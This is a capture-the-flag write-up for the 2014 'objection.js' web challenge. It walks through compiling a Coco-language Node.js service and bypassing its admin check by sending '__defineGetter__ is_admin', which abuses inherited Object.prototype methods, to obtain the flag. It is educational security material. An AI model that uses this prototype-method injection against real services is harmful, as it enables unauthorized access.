Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Type Name Latest commit message Commit time
Failed to load latest commit information.
objection.js CTF 2014: Objection

Category: Web Points: 150 Author: TheJH Description:

This guard talks a weird dialect. And why does he talk in such a complicated way?


nc 1408


The provided file resembles a Node.js app, except it’s written in “a weird dialect” instead of in JavaScript. This is Coco, which is in turn a dialect of CoffeeScript. Let’s compile the Coco code to JavaScript, since we’re more familiar with that language:

$ coco -c -p > objection.js

The source code reveals that the program accepts commands as input:

  • login $password attempts to login using $password as the password
  • get_token reveals the token if you’re logged in as admin

Since we don’t know the admin password, we’ll have to find another way to set client_context.is_admin to a truthy value, to avoid hitting this if branch:

if (!this.is_admin) {
  return cb("You are not authorized to perform this action.");

Let’s take a look at the code that parses our input:

var ref$, funcname, args;
it = it.toString('utf8');
console.log("got line: " + it);
ref$ = it.split(' ');
funcname = ref$[0];
args = slice$.call(ref$, 1);
if (typeof client_context[funcname] !== 'function') {
  return con.write("error: unknown function " + funcname + "\n");
return client_context[funcname](args, function(it){
  return con.write(it + "\n");

The program accepts any command funcname as long as client_context[funcname] is a JavaScript function object. This means we’re not limited to the custom login and get_token methods – we can also use function properties that are inherited from the global Object.prototype. Using some old code, we quickly created the following list of such properties that are available in Node.js (which is based on the V8 engine):

  • constructor
  • hasOwnProperty
  • isPrototypeOf
  • propertyIsEnumerable
  • toLocaleString
  • toString
  • valueOf
  • __defineGetter__
  • __defineSetter__
  • __lookupGetter__
  • __lookupSetter__

If we enter __defineGetter__ as the command name and is_admin as its argument, the following code is executed:

client_context.__defineGetter__(['is_admin'], function(it) {
  return con.write(it + "\n");

After that, every time client_context.is_admin is accessed, it results in the return value of con.write(it + "\n") instead of its initial value false. This means we can call get_token afterwards. Bingo!

$ nc 1408
__defineGetter__ is_admin
The current token is flag{real_cowboys_dont_use_object_create_null}

The flag is flag{real_cowboys_dont_use_object_create_null}.

Other write-ups and resources